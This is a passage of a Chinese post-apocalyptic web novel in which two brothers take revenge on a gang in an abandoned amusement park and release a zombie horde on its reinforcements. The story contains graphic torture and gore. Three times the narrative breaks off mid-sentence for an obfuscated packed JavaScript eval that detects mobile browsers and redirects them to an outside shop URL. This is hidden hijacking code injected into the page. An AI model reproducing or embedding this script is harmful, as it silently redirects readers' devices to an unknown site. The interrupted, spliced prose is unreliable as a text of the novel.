锁链很粗,但只是虚挂着。他把它一圈一圈绕下来,铁环碰撞的声音在夜里显得很清脆。他推开门,走进去。 月光从破损的天窗漏下来,照亮体育馆内部。 地上全是人,或者说,曾经是人。腐行尸们挤在一起,有的躺着,有的趴着,有的靠在墙上,空洞的眼眶对着虚空,空气里那股味道更重了。 它们听到动静,齐刷刷转过头来。 封宵走向最近的一只。它蹲在墙角,身上穿着破烂的保安制服,半边脸已经烂没了,露出下面的颧骨和牙床。它看着封宵,喉咙里发出低沉的咕噜声,但没有扑上来。 封宵用绳子套住它的脖子,轻轻一拉,像牵一条狗。 “乖。”他轻声说,像在安抚它。它没有反抗,绳子套上去的时候它只是歪了歪头,然后便顺从地跟着他走了。 月光下,一人一尸的影子被拉得很长。 主卧的门虚掩着,里面传来均匀的鼾声,偶尔夹杂着含糊的梦呓。 封宵轻轻推开门,门轴发出一声极细的吱呀声。 陈刚四仰八叉地躺在床上,睡得很沉。被子只盖到胸口,露出肚皮,随着呼吸一起一伏。他脸上带着餍足的笑容,嘴角往上翘着,大概正在做什么美梦。床头柜上摆着半瓶酒,杯子里还剩小半杯。 封宵站在门口看了看腐行尸,又看了看床上的陈刚。 他松开了绳子。 腐行尸失去制约的瞬间就扑到床边,它低头凑近陈刚的脸,浑浊的呼吸喷在陈刚脸上,喉咙里发出兴奋的低鸣。 陈刚在睡梦中感觉到什么,湿漉漉的触感贴在他脸上,像是梦里的美人正在亲吻他。 他嘴角弯起来,美滋滋地伸出舌—— 腐行尸一口咬了下去。 “啊啊啊啊——!” 惨叫声环绕在房间里,陈刚猛地睁开眼,正对上一张腐烂了一半的脸。灰败的皮肤,浑浊的眼球,半张着嘴——嘴里正在嚼着什么。 那是他的舌头。 血从陈刚嘴里涌出来,糊满了他的下巴和脖子。他想推开那东西,但那东西力气大得惊人。他拼命挣扎,但那东西压在他身上,纹丝不动。 他的舌头已经没了,下唇也没了。 他能感觉到,那东西嚼完他的舌头,又凑过来开始啃他的脸,牙齿刮过颧骨的声音从骨头里传进来。血从脸上糊下来,糊得他什么都看不清。 就在这时,他听到一个声音。 “大叔,晚上好啊。” 陈刚拼尽全力扭过头,透过被血糊住的眼睛,他看到门口站着的人——那个被果酒瞬间迷翻的小子,此刻正靠在门框上,双手抱胸,笑眯眯地看着他。 “救……救我……”陈刚拼命伸出手,嘴里漏风,声音含糊几乎听不清,“快……快把它拉开……” 封宵歪了歪头,像是在认真考虑这个提议。 然后他慢悠悠地走过来,踩在地板上发出轻微的声响。他伸手拽住腐行尸脖子上的绳子,轻轻一拉。腐行尸从陈刚身上退开,喉咙里发出不满的呜咽声,嘴边沾满了血,还有碎肉。 陈刚瘫坐在床上,大口喘气。他满脸是血,嘴已经烂的不成样子,下巴上露出白骨。他浑身发抖,想说什么,却只能发出含糊的呜呜声。 封宵在他床边坐下,他手里还牵着那条绳子,松松地绕在掌心。他看着陈刚,笑容不变:“大叔,你做人也太不厚道了吧?” 陈刚拼命摇头,双手合十做出求饶的姿势,血从指缝里渗出来,滴在被子上。 “我哥都说要给你报酬了,你还想着把他卖了。” 陈刚的呜呜声更急了,眼睛里全是恐惧和祈求。 “别害怕。”封宵说,声音轻轻的,“不想被它咬死的话——” 他顿了顿。 “你也可以咬死它啊。” 陈刚的求饶声顿住了。 封宵站起来,他把拴着腐行尸的绳子绕在床柱上,打了个结,然后转身往外走。 “晚安,大叔。” 身后传来绝望的喊声,含糊不清,像野兽的哀嚎:“不……不要……把它带走……求求你……” 封宵走到门口,停下来。 他回过头。 陈刚眼里露出一丝期待——那眼神,和刚才求饶时一模一样。 “对了。”封宵说,“随手关门,讲礼貌。” 他轻轻带上了门。 门锁咔哒一声扣上。身后新一轮的惨叫声响起,闷闷的,隔着门板,像某种不太悦耳的背景音。 封宵原路返回游乐园。 旋转木马在夜色中静静伫立,褪色的马匹空洞地睁着眼睛,彩绘剥落,露出底下生锈的铁皮。封宵驻足看了一会儿,不明白旧时代的东西哪里吸引人。 他刚想走,迎面撞上两个人。 “那小子——”其中一个打手愣住了,揉了揉眼睛,“他不是腿被撞断了吗?怎么跑这儿来了?” 另一个打手也看清了他,脸上浮现出惊喜:“管他呢,抓住了就是我们的,拿去跟老大换点东西。” 两人对视一眼,挡住去路。月光照在他们脸上,映出抑制不住的兴奋。 封宵停下脚步,语气平淡地说:“让开,我不是来找你们的。” 对面两个人一愣,随即爆发出大笑。 “听见没?他说他不是来找我们的!” “那你找谁?找妈妈吗?” 封宵叹了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388019|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个打手不耐烦,伸手去抓他的衣领。 下一秒。 “咔嚓”。 那人的手腕被封宵握住,以一个诡异的角度扭曲。骨头刺破皮肤,露出森白的半截。血溅出来,溅在封宵袖口上。 另一个打手脸色大变,笑容凝固在脸上,他抄起旁边的铁棍就砸过来。 封宵侧身躲开,铁棍擦着他的肩膀过去,砸在旁边的旋转木马上,发出一声闷响,木马的头掉下来,在地上滚了两圈。封宵顺势一脚踢在那人膝盖侧面,又是“咔嚓”一声,那人捂着腿,惨叫着倒地。 封宵低头看着地上哀嚎的两人:“我早说让你们让开了。” 两人惊恐地看着他,像看见披着人皮的怪物。 刚才还笑嘻嘻的脸上现在只剩下恐惧,他们语无伦次地求饶,声音都在发抖:“饶了我们……我们再也不敢了……求求你……我们愿意跟着你,给你当牛做马……” “现在求饶?”他的语气里带着点好奇,“刚才不是你们先来惹我的吗?” 两人继续哀嚎求饶,再三保证再也不敢了。 封宵想了想,忽然说:“也行。告诉我那个满嘴黄牙的家伙在哪儿。” 两个人争先恐后地开口,声音叠在一起:“他在游乐场东边那栋红砖楼里,二楼——” 封宵点点头。 刚迈出一步,又停下来。 “再麻烦你们个事儿,把我车里的东西都还回去,一样不许少。” 两人拼命点头,连滚带爬地消失在夜色中。 红砖房非常显眼,封宵没费什么力气就找到了。 一楼大厅里灯火通明,几个人正围在一起喝酒划拳,只有一个人坐在角落,看到封宵进来也没有任何动作。 “来,今天我赢了让我进游乐场玩!” “大大大!” “小小小!” 骰子在碗里哗啦啦地转,酒瓶碰在一起发出叮当的脆响。 封宵快速扫了一眼——没有大黄牙。他一脚踢起门口的空酒瓶。酒瓶呼啸着飞过,擦过两个壮汉的肩膀,精准地砸在桌上。 “砰!” “草!你他妈谁——”一个壮汉扭过头,看清门口的人,愣了愣,“……谁啊?” 另一个人认出他,霍地站起来:“妈的,是那个小崽子!被老何开车撞飞那个。” “我去抓——” 冲在最前面的人话未说完,已经被封宵单手甩起来砸在地上。封宵抬起脚,踩在他的手指上。 “咔嚓。” 骨裂的声音清脆利落。 那人惨叫一声,身体猛地弹起,后脑勺撞上茶几边缘,两眼一翻晕了过去。 剩下来的人反应过来,纷纷抄家伙,但封宵没给他们机会。 不到一分钟,六个人全倒在地上。有的蜷缩着呻吟,有的一动不动,有的抱着扭曲的手臂抽搐。 只有一个人还坐着。那个全程沉默旁观的人,从始至终没有动过。他坐在角落里,手里端着一杯酒,脸上的表情甚至没有变化。他看着封宵把最后一个人放倒,然后慢慢抿了一口酒。 封宵站在一片狼藉中,看向他:“那个大黄牙呢?” 那人指了指楼上:“第一间。” 封宵上楼,走到门前,轻轻敲了敲。 “……谁?” 他没回答,又敲了敲。 脚步声由远及近,门猛地被拉开,大黄牙光着身子,只穿了一条短裤,脸上带着被打扰的不耐烦:“你他妈——” 他看清门口站着的人,像见鬼似的,声音卡在喉咙里:“是你?!” 封宵冲他笑了笑,语气温和: “晚上好啊。” 8. 进化者 大黄牙下意识想关门,但封宵的脚已经卡进门缝——那条本应该被撞断的腿此刻稳稳地卡在门边,门板撞在上面,纹丝不动。 “对待客人这样可不好。”封宵说。 大黄牙还没明白情况,但身体已经本能地后退,他想转身往床边跑——那里有把枪。 但封宵的速度比他快得多。 他上前一步,伸手抓住大黄牙的后颈,像拎小鸡一样把他整个人从地上提起,然后狠狠撞在墙上。 “砰!” 墙皮簌簌往下掉。大黄牙的后脑勺撞上墙面,眼前阵阵发黑。封宵松开手,他滑坐在地上,捂着后脑勺直抽冷气。 “你他妈——你知道我是谁吗?我大哥是——” “很抱歉。”封宵打断他,“我对你的名字不感兴趣。” 大黄牙抬起头,瞪着眼前这个年轻人。 封宵正带着笑意看着他,和之前那个被迷晕、被撞飞、半死不活的小子,简直不像同一个人。 “你……”大黄牙艰难地开口,喉咙发紧,“你是进化者?” “进化者?”封宵偏了偏头,“你们是这么称呼的吗?我不知道。” 大黄牙脸色铁青,他知道自己毫无胜算,咬咬牙,挤出个讨好的笑:“要不我们合作吧,以后这个游乐场全部归你!” 封宵眨眨眼,从他身边走过,在他面前蹲下,认真地看着他,说:“这个我也不感兴趣。” 离得近了,大黄牙盯着封宵的腿。那双腿看起来完好无损,没有任何受过伤的痕迹。他眼里满是不可置信,明明开车把他撞飞出去,不死也残,怎么可能一点事都没有?他听过关于进化者的传言,但那都是传言。他从没见过。 “你……你的腿……好了?” “哦,这个。”封宵低头,像是才想起来这回事,“你倒是提醒我了,回去我得想办法弄个一样的。” 大黄牙心想:进化者是有什么毛病吧?脑子有问题? 封宵站起来,走到窗边,拉开窗帘。 外面是游乐场。夜色太浓,什么都看不真切。只有摩天轮的轮廓隐约可见,倾斜着,像要倒下来。 不知道哥哥现在到哪里了。 他转过身,突然发现床边躲着一个瑟瑟发抖的女人。 她缩在角落里,抱着膝盖,脸埋在臂弯里。听到动静,她抬起头,面容看起来有些熟悉。 她的样子看起来是活不长了,身上几乎没有一块完好的皮肤,青紫的伤痕遍布手臂和脖颈,嘴角有干涸的血迹,眼眶青黑,像随时都能断气。 封宵收回目光,走回大黄牙身边。 “你不用害怕。”他蹲下身,语气平和,“我不会杀你。” 大黄牙还没来得及松口气,就听见他继续说:“我这个人很讲道理的。你撞断了我的腿,现在还给我,我们就扯平了。” 他顿了顿。 “虽然你没有我这样的自愈能力,”封宵补充道,语气里带着点遗憾,“但那是你的问题。” 话音刚落。 “咔嚓。” 他的手握住大黄牙的左腿腿骨,一拧。 大黄牙惨叫起来,声音在狭小的房间里回荡,尖利得像杀猪。 “我错了……我错了……不……不要……”他惊恐地喊,声音都变了调,“求求你……放过我!” 封宵的手停住了。 他认真看着大黄牙,目光平静,没有任何谴责的意思,问道:“你干这个多久了?” “三……三年……” “这三年,是不是听过很多人说让你放过他,结果怎么样?” 大黄牙说不出话。 封宵替他说了:“答案是没有。猎人不会在乎猎物的感受。” 他拍了拍大黄牙的肩膀,动作轻柔得像在安慰他:“所以你很清楚,现在,也不用求我。” “咔嚓。” 又是一声。 大黄牙的腿彻底废了,整个人瘫坐在地上,只剩下抽搐和呻吟。 封宵站起身,活动了一下手腕。他低头看着地上蜷缩成一团的人,满意地收回目光。然后走到床脚,弯腰捡起地上的铁棍。 “这个给你。”他把铁棍扔在那个女人面前,“他现在动不了。如果避开要害的话,可以打很久才死掉。” 那个女人缩在里侧,并没有动作。她盯着那根铁棍,又抬头看向封宵,眼神复杂得难以辨认。 “你要怎么做都是你的选择。”封宵头也不回地说,“我要回去找哥哥了。” 封宵走下楼。 一楼大厅里,原本躺着的那几个人已经倒在血泊里了。给封宵指路的那个男人浑身是血,手里提着一把还在滴血的菜刀,站在一堆尸体中间。他抬起头,看向封宵。 “啧。”封宵从他们中间穿过,小心绕开地上的血迹。 “谢谢你。”那个男人突然开口。 封宵脚步未停:“与我无关。” “我以后可以跟着你吗?” 封宵终于停下脚步,他回过头,奇怪地看了他一眼:“你看我像会收留流浪狗的吗?” 他没理那个男人,头也不回地走出大门。 另一边。 林昼正艰难地穿过荒地。 他为了躲避游乐园外围的打手,绕了很远的路。荒地上到处是碎石和锈蚀的铁丝网,好几次差点被绊倒。月光很淡,照不清脚下的路。 浪费了不少时间,所幸有惊无险。 终于,他看到他们开来的车。 还在原地。 林昼快步走过去,拉开车门。 驾驶座上的储物盒被翻开过,里面的东西散落在座位上。后座的物资包也被打开过,原本整齐码放的物品被翻得乱七八糟,像是有人拆开后又随意塞了回去。 从翻动的痕迹来看,至少有三四个人来过。 但奇怪的是,东西都还在。 林昼快速检查了一遍,药品,食物,饮用水,备用能源……一件没少。 这不合理,这些物资对末日挣扎求存的人来说,比黄金还珍贵。一包压缩饼干能换一条命,一盒抗生素能让人拼命。没人会放着这些东西不拿。 除非他们根本不需要这些东西?或者有人让他们不敢拿? 林昼想不出答案,但现在不是纠结这个的时候,封宵还在等他。 他把需要的东西装好,关上车门,往回走。 回去的路上,那个疑问一直盘旋在他脑海里。 有人打开了车,翻遍了每一个角落,但什么都没拿。 这太奇怪了。 林昼赶紧摇摇头,试图把脑子里的猜测甩开。现在最重要的是封宵。那孩子腿断了,一个人在医务室里,不知道有多害怕。 他加快脚步。 回到游乐园的时候,他发现那些守卫和打手,似乎都不见了。 之前巡逻的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388020|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了踪影,围栏边的岗哨空空荡荡。只有火把还在燃着,在夜风里明明灭灭。 他没有多想,径直朝着医务室的方向跑去。 推开门。 里面空无一人。 林昼的心猛地一沉。 “封宵?”他喊了一声。 没有回应。 天快亮了,晨曦的微光从窗户照进来,照亮空荡荡的屋子。 林昼站在里面,呼吸凝住了一瞬。 然后他低下头,看向地面。 地面上的脚印清晰可见——那是封宵的鞋印。从屋内的位置,一路延伸到门口。 他是自己走出去的。 林昼盯着那串脚印,皱起眉。 封宵的腿—— 断了。 林昼强迫自己冷静下来。封宵受了伤,没办法自己走太远。要么还在附近,要么被客人抓走了。他深吸一口气,正要推门出去—— “哥?是你在里面吗?”声音从门外传来,是封宵的声音。 林昼拉开门,封宵就站在外面。初升的太阳从他身后照进来,逆光里只能看见一个轮廓,半条腿仍然拖着。 林昼还没开口,封宵已经扑过来。他撞得林昼后退半步,但林昼很快稳住身形,伸手环住他。 “你去哪了?怎么没看到你?” 封宵抬起头,眼眶红红的:“……你走了好久都不回来……我害怕你和外婆一样……” 林昼的心揪了一下,他看着封宵半拖着的腿,不再问了。 “我把东西带来了,先看看你的腿。” 封宵乖巧地点点头。林昼扶着他走进里屋,让他坐下。 林昼打开背包,取出消毒酒精和绷带。他小心地卷起封宵的裤腿,膝盖上有一片新鲜的淤青,皮肤底下透出紫红色。他用手指轻轻按压周围,封宵没有躲。 林昼盯着那片伤处,陷入沉思。 “怎么了,哥?” “你的腿……”林昼顿了顿,“没什么。” 他开始处理,用夹板固定住伤处,再用绷带一层层缠紧,动作很轻。 “疼就说出来。” “不疼。” 林昼抬头看他,封宵的脸色苍白,额头有细密的汗珠。 “我们要快些离开这里了。”林昼继续缠绷带,“回来的路上,园区里一个人也没有,很奇怪。昨晚走的时候还有巡逻的人,不知道有什么变故。” “那我们快逃吧,哥。” 林昼蹲下,背对着他:“上来。” “哥背我?” “不然把你扔在这儿?” 封宵立马趴上来,手臂环住他的脖子,声音闷闷的,从耳后传来:“哥,你真好。妈妈果然没有骗我。” 林昼的动作顿了顿:“你刚刚说什么?” “我说哥你真好。”封宵把下巴搁在他肩上,眼睛眯成两道月牙,“我不会骗你的。” 林昼没再问,他托住封宵的腿,往外走。医务室的门在身后合上。 他们穿过废弃的游乐场,朝着出口方向走去。路过旋转木马,封宵问道:“哥以前去过游乐场吗?” 林昼想起来,父亲曾经带他去过,还因为被其他小朋友恶作剧,害他从木马上摔下来。 “小时候去过。” “真好,要是我小时候也能和哥一起去就好了。” 就在他们快走到出口的时候,林昼看到了其他人。 9. 准备反击 一个年轻人和一个中年大叔站在路中间,正在低声说着什么。看到林昼他们过来,两人立刻闭了嘴。 “哥,他们好像要过来。” 从那两个人身后又陆续走出来几个人,看起来都是一副饱经摧残的模样,其中还有一个熟面孔。 卢双玲看到林昼,脸上露出笑意,她跑过来,说:“你们还活着,太好了!” 林昼问:“你找到你同伴了吗?” 卢双玲摇头:“找了一晚上,没找到,我怀疑她被抓到红砖楼里了。” 其他人也都聚了过来,那个中年大叔率先开口:“昨晚红砖楼里一直传出惨叫,我藏得不远,没敢去看。如果你姐姐被抓进去了,恐怕凶多吉少。” 和他一起的年轻人说:“可我听那声音,好像是大黄牙。” 卢双玲看着林昼,说:“我们决定去红砖楼看看,和那伙人拼了,反正早晚都是死,不如博一条生路。” 有人插嘴:“我们老弱病残,不是上去送吗?” 另一个反驳他:“跑出游乐园,还能跑出黄万山的地盘吗?不如和他们拼了,总好过被拿去喂丧尸。” 林昼侧头看了一眼封宵,封宵心领神会答道:“哥不必顾虑我,如果能和哥死在一起,我很高兴。” 众人最终还是决定去红砖楼,他们手里拿着些趁手的工具——木棍,砖头,钢管。看起来寒碜得很。 林昼背着封宵走在人群最后。 封宵凑到他耳边,说:“哥,你真的要帮他们吗?” 封宵的目光落在前面那群人身上,他们瘦弱,惊恐,伤痕累累,简直不堪一击。 “就算现在帮了他们,他们也活不下去的。” 林昼沉默了一瞬,在学院的时候,老教授问过他类似的问题,那时候他是怎么回答的? “他们还有希望和信念。有这些东西,就会活下去的。” 红砖楼近在眼前,门大开着。 大厅里横七竖八地摆着几具尸体,空气中弥漫着浓重的血腥味。 血泊里坐着一个二十来岁的年轻人,他低着头,双手垂在身侧,听到门口的动静,他慢慢抬起头来。 众人没想到是这个场景,愣在门口,一时之间不知该进还是该退。 “你把他们都杀了吗?”卢双玲颤声问。 年轻人没有回答,他只是坐在那里,像个没有灵魂的木偶。 林昼背着封宵走进来,目光扫过大厅,一地的尸体,状况惨烈。他昨晚回来没看到巡逻的人,这下有原因了。 林昼的目光落在那个年轻人身上。他身上血迹最多,但身上一点伤没有,很明显他就是行凶者。 “是你做的?”林昼问。 年轻人终于有了反应。他慢慢转动眼珠,看向林昼,然后目光越过他,落在他背后的封宵身上。 封宵趴在林昼背上,歪着头看他,一副不解的样子。 年轻人的眼神变了变,开口:“是我。” 他低下头,看着自己的手:“我叫郭离。一年前和爸妈,还有妹妹,一起来的。我爸当时就被他们打死了,我妈受不了刺激,疯了,被扔进腐行尸堆里。我妹妹,被黄万山带走,第二天送回来的时候,已经不会说话了。过了两天,她也没了。” 他抬起头,看向地上那些尸体。 “我像狗一样活着,就是为了今天。” 卢双玲忽然冲上去,她抓住郭离的肩膀,声音发抖:“我姐姐呢?你有没有看到过我姐姐?和我长得很像。” 郭离看着她,眼神里闪过一丝复杂的情绪,他抬起手,指着楼上。 卢双玲松开他,疯了似的往楼上跑。 其他人面面相觑,也有人跟了上去。林昼背着封宵,也往楼上走去。 二楼走廊昏暗,只有一扇门开着,透出光。 卢双玲的哭声从里面传来,撕心裂肺,像是要把五脏六腑都呕出来,听得人心头发颤。 林昼走进房间,一个和卢双玲面容相似的姑娘躺在血泊里,身上盖着一件外套。她的脸很平静,眼睛闭着,嘴角似乎带着一丝若有若无的笑意。 卢双玲跪在她身边,眼泪止不住地流:“姐……姐你起来……你看看我……我是小玲啊……” 在卢双玉旁边还有一具男性尸体——是大黄牙,他的头部被人用钝器反复击打过,已经面目全非。 卢双玲哭得声嘶力竭,最后只剩下抽噎。她俯下身,把脸贴在姐姐冰凉的手上,喃喃地说:“姐,你打死的这个畜生是不是……你终于替我们报仇了……” 她声音断断续续:“可是你为什么不等等我……我们说好的……说好一起出去的……” 封宵趴在林昼背上,静静看看这一幕。他的目光从卢双玉的尸体移到卢双玲颤抖的背影上,又从那里移到窗外惨白的天光里。 他的脸上没有任何表情,但他的手,不知什么时候,悄悄攥紧了林昼的衣领。 林昼感觉到他的动作,没说话,轻轻拍了拍他。 众人陆续下楼,聚集在大厅里。 卢双玲最后才下来。她眼睛红肿,脸上还挂着泪痕。她走到郭离面前,盯着他看了几秒,然后哑着嗓子问:“是你帮了我姐姐吗?” 郭离摇摇头:“不是。” 中年大叔插嘴:“现在不是讨论这些的时候。大黄牙死了,红砖楼的人都死了,黄万山很快就会知道。” 众人脸色都变了,黄万山意味着客人,那些人他们都斗不过。 “黄万山手下有二十多号人,都是杀人不眨眼的。”郭离接话,“而且……” 他顿了顿,看了一眼封宵,又迅速移开目光。 “昨晚已经有人去通风报信了,算算时间,最迟今天下午,他们就会到。” “那怎么办?”有人慌了,“我们跑吧!” “就算跑出社区,还不是要经过黄万山的地盘,怎么跑?我们根本不是对手!” 林昼开口:“我有个办法。”所有人安静下来,看向他。 林昼看向封宵:“后面那个体育馆里,是不是关着很多腐行尸?” 封宵点点头:“嗯。很多。” 林昼把这里的人分成两组,一组在园区里找人,把所有幸存者集中起来,另一组去搜集物资,准备撤离。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388021|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >郭离固执地要跟着林昼,哪里也不去,林昼没办法只好带上他。他们穿过废弃的游乐场,回到停车的地方。 林昼把封宵扶进车里,转头对郭离说:“你就留下来,照顾封宵。”说完,他又转头看向封宵,“你就在这坐着别乱动,能不能做到?” 封宵乖乖点头:“能。” 林昼看着他,晨光照进车里,落在封宵脸上,看着他乖巧的样子,林昼忽然忍不住伸手摸了摸他的头。手感意外的好,软软的,像摸一只听话的小动物。 摸完他才意识到自己做了什么,他立刻收回手,有些不自在地别过脸。 “我走了。”他说着,快步离开现场。 封宵坐在车里,愣了两秒,然后伸手摸了摸自己的头顶。 他开始傻笑。 郭离站在车外,看着这一幕,整个人都震惊了。这个笑得像只被顺毛的小狗一样的人,和昨晚那个眨眼间把人腿打断的恶魔,真的是同一个人? 封宵笑够了,余光瞥到郭离还站在旁边。他转过头,脸上的笑容瞬间消失得无影无踪。 “我说了不收留流浪狗,”他的语气冷淡,“你赖着干什么?” 郭离沉默了一瞬,说:“你腿脚不方便,我可以帮你保护你哥哥。” 封宵嗤笑一声:“我哥哥当然我自己保护,你连自己的家人都保护不了。” 郭离被戳中痛处,脸色变了变:“你哥哥不知道你腿没事吧?” 封宵的眼神冷下来:“你知道你可以死得悄无声息吧?” 郭离迎着他的目光:“……我不会拆穿你的。如果不是你,我这辈子可能都没有机会杀了他们。我只是……想报答你。” 封宵盯着他看了几秒,忽然扶额叹了口气。 “算了。”他说,语气里带着点无奈,“我哥肯定要收留你。你手脚麻利点,别拖后腿。不然——” 他顿了顿,露出一个灿烂的笑容:“偷偷做掉你哦。” 郭离看着他那个笑容,背后冷汗直冒。但他还是点了点头,认真地说: “谢谢你。” 林昼提起金属箱,找到一个相对隐蔽的地方,其他人则按照安排,搜集物资和解救幸存者。 箱子是萧知沉给他准备的,林昼打开它,里面整整齐齐地排列着他需要的东西:微型分析仪、基础生物试剂、注射器,还有一小管封装好的拟态潘多拉原始培养基。 拟态潘多拉药剂的制作需要极其复杂的生物成分,特定的细胞系,精确的温控环境,无菌操作台。在这里,什么都没有。现在手上的材料最多只能制作一个简易版本,效果会大打折扣。 持续时间短,副作用大。 但没有选择。 他开始工作,用分析仪检测了周围能找到的所有材料,又利用腐行尸身上刮下来微量组织,从土壤中提取微生物样本,没有条件就创造条件,这是他在浮罗达学到的第一课。 时间一分一秒地过去。 当简易装置终于发出完成的提示音时,林昼的额角已经渗出了细密的汗珠。他看着那管泛着微弱蓝光的液体,呼出一口气。 成功了。 10. 反击 林昼收好东西,来到集合点。幸存者们已经聚集起来,加上卢双玲和郭离,还活着的一共十三个人。他们找来了两辆皮卡车,勉强能开。 物资也装好了,食物,水,一些武器,还有从红砖楼里翻出来的药品和燃料。 所有人都看着他。 林昼的目光扫过他们的脸——惊恐的,期待的,麻木的。 “按照计划,等黄万山到了后,郭离将他们引到体育馆外面的空地,他们的人一过去,你们就上车走,我去放腐行尸。” 卢双玲皱眉:“你自己去?太危险了!” “我有办法。”林昼说,“你们不用管。” 他没有过多解释,只是转过头,看向不远处。 他的那辆车停的稍微远一点,封宵坐在车里,隔着车窗,他看不清那孩子的脸,但他知道封宵一定在看着他。 有人跑过来,喘着气,脸色发白:“黄万山到了,比预想的快!” 五辆改装过的越野车冲进园区,车顶架着焊接的钢筋和铁网,每辆车里都挤满了人。 引擎的咆哮声震得地面发颤,卷起的尘土遮住了半边天。 他们的车开进来后就停了,车门打开,下来二十多个人。有的拿着砍刀,有的拎着铁棍,有几个手里还握着枪——真正的枪。 “人呢?躲起来了是吧?”领头的人环顾四周,声音粗粝。 另一人在他身后笑起来:“听说有个小子挺能打啊?” “人呢,给我——” 话音未落,一辆越野车从废墟后面冲出来,引擎轰鸣。 郭离坐在驾驶座上,副驾驶座上是卢双玲。车子故意放慢速度,在黄万山的人面前晃了一圈,挑衅的味道很明确,然后车子加速,往体育馆的方向开去。 “追!” 五辆车同时启动,引擎的咆哮声再次响起,轮胎碾过碎石,尘土飞扬。 卢双玲透过后视镜看着后面越来越近的车,手心全是汗。 “快到了吗?”她问。 “快了。”郭离咬着牙,死死踩住油门,“再坚持一下……” 车子冲进体育馆前的空地,一个急刹车甩尾停在掩体后面。 五辆车紧跟着冲进来,卷起漫天尘土。 “妈的,跑的还挺快。” “躲哪儿去了?” “下车,搜!把他们给我搜出来!” 黄万山的人纷纷下车,骂骂咧咧地开始找人。二十几个人分散开,有的往掩体后面张望,有的踢开旁边的破箱子,还有几个站在车边,叼着烟看热闹。 没有人注意到体育馆的门,那扇门正在缓缓打开。 最先反应过来的是站在车边的一个年轻人。他听到身后传来奇怪的声音——不是人的脚步声,而是某种拖沓的窸窣声,像无数只脚在地上摩擦。 他转过头,然后他的瞳孔猛然收缩。 门里面涌出来的不是一个人。 是一群乌泱泱的腐行尸。它们挤在门口,空洞的眼光对准他们,喉咙里发出低沉的嘶吼。然后它们开始移动,速度不快,但数量太多。 密密麻麻。 正在抽烟的年轻人瞬间腿软,烟掉在地上,他的嘴唇动了动,然后惊恐地喊道:“尸——腐行尸!” 人群炸开了。 “跑!快跑!” “上车!快上车!” “妈的别挤我!” 惨叫声四起,人群四处奔散,有人拼命往车上爬,有人直接往后跑,还有几个倒霉的离得太近,瞬间被尸潮吞没——他们挣扎了两下,就再也看不见了。 腐行尸的洪流没有停下,他们追着活人的气息,朝着越野车的方向涌去。 一百多只涌出来,看得人头皮发麻。 一辆越野车被尸群包围,车门被拍打得砰砰作响,车窗上瞬间贴满了灰扑扑的手印,枪声只持续了几秒,就彻底安静了。 只有一辆车勉强冲出包围,尸潮在后面紧追不舍,像黑色的潮水漫过广场。 林昼站在体育馆门口,平静地看着这一切。 腐行尸从他身边经过,但没有一只停下来看他。它们好像看不见他一样,从他身侧涌过,朝着那些尖叫着逃跑的人追去。 他的脸上没有任何表情。 另外一批幸存者开着皮卡冲出园区。车上的人喘着粗气,脸色煞白。 “太……太可怕了……”有人捂着胸口,声音发抖。 “那个人疯了吗?把那么多腐行尸放出来!他自己也跑不掉吧!我们要不要接应一下他?” “别管他了,快开吧!” 两辆车,头也不回地冲上山坡,开车的人恨不得把油门踩进油箱里,车轮碾过碎石,车身剧烈颠簸。 就在这时,其中一辆车上,有人无意间回头看了一眼。透过满是尘土的后车窗,他看到了永生难忘的一幕。 夕阳正在西沉。 绚烂的霞光从云层边缘倾泻而下,将整片废墟染成暖红色。废弃的摩天轮斜斜地刺向天空,锈蚀的骨架在逆光里变成黑色的剪影。 而那个年轻人——林昼——正从尸群中走出来。腐行尸的洪流在他身后涌动,却没有一只停下来攻击他。 他走在它们中间,如同走在空无一人的旷野。 夕阳的光落在他身上,他的侧脸被镀上了一层淡淡的金边,发梢在逆光里几乎透明。他脚步从容,神情淡漠,衣摆随着步伐轻轻晃动。 他就那样轻松地走着,穿过尸潮,穿过满地狼藉的血迹。夕阳在他身后铺开,把他的影子拖得很长,长到几乎要触及山坡上那辆渐行渐远的皮卡。 车上的人张着嘴巴,一个字也说不出来。 他想起来小时候听过的那些旧时代的故事——神明降临人间,走在信徒中间,凡人的眼睛无法直视他的荣光。 此刻他看见的就是那样的画面。 神明年轻的脸上没有悲悯,没有愤怒,甚至没有任何表情。他只是走着,从尸群里走出来,朝着某个方向。 那里有人在等他。 车子继续往前开,山坡越来越远,尸潮越来越小,那个人的身影终于变成一个模糊的点,最后消失在金色的余晖里。 郭离死死握着方向盘,眼睛盯着前方涌动的尸海,额头上全是汗。 一滴汗从眉骨滑下来,挂在睫毛上,他眨都不敢眨。心脏像是要从胸腔里跳出来,砰砰砰地撞着肋骨。 